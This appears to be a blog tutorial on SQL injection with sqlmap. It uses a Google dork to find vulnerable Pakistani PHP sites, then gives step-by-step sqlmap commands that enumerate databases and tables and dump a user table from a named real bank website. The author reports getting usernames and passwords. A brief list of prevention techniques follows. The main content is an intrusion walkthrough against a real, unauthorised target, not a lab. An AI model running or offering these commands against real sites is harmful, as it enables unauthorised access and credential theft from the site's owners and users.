SQL Injection Using SQLMAP

Requirements:

SQL MAP Script
    https://sqlmap.org/
Python Compiler


Step 1:- Identifying The Target :
Use "Google Dork" To Find The "Target", "Search" For The Following:-
    inurl:.php?id= site:.pk


Step 2:- Checking For The "Vulnerability" In The URL By "Passing ' (Single Quote)".
If It Returns "ERROR
" Then Its Hackable.


 

Step 3:- Open Up The "Power Shell" And Navigate To The Folder Where Sqlmap Is Kept.
    Type: python .\sqlmap.py -h To See The Help.

 


Step 4:- Finding Out The Name Of The "Databases Available". Type The Following Command In Power Shell.
    python .\sqlmap.py -u "https://www.fcibank.com.pk/index.php?route=common/page&pageid=%7B0219F2C-951C-B9F7-D1B6-805BA07752DB57D" –dbs



Step 5:- Finding Out The "Tables" In It. Type The Following Command.
    python .\sqlmap.py -u "https://www.fcibank.com.pk/index.php?route=common/page&pageid=%7B0219F2C-951C-B9F7-D1B6-805BA07752DB57D" -D fcibankc_fci_urdu –tables


 

Retrieved "Table Names".


Step 6:- Dumping The "DATA Inside Table" (Any Table Of Your Interest)
Type The Following Command.
    python .\sqlmap.py -u "https://www.fcibank.com.pk/index.php?route=common/page&pageid=%7B0219F2C-951C-B9F7-D1B6-805BA07752DB57D" -D fcibankc_459625_fci -T user --dump



 


 

We Got The Username And Password.


Sql Injection Prevention Techniques:-
Primary Defenses:-

Option 1: Use Of Prepared Statements (With Parameterized Queries).
Option 2: Use Of Stored Procedures.
Option 3: Whitelist Input Validation.
Option 4: Escaping All User Supplied Input.

Additional Defenses:-

Also: Enforcing Least Privilege.
Also: Performing Whitelist Input Validation As A Secondary Defense.

Comments

Popular posts from this blog

OSINT Tool in Termux

Active Directory Ransomware Attacks

Colt Telecom Hit by WarLock Ransomware: SharePoint Zero Day Used for Mass Data Theft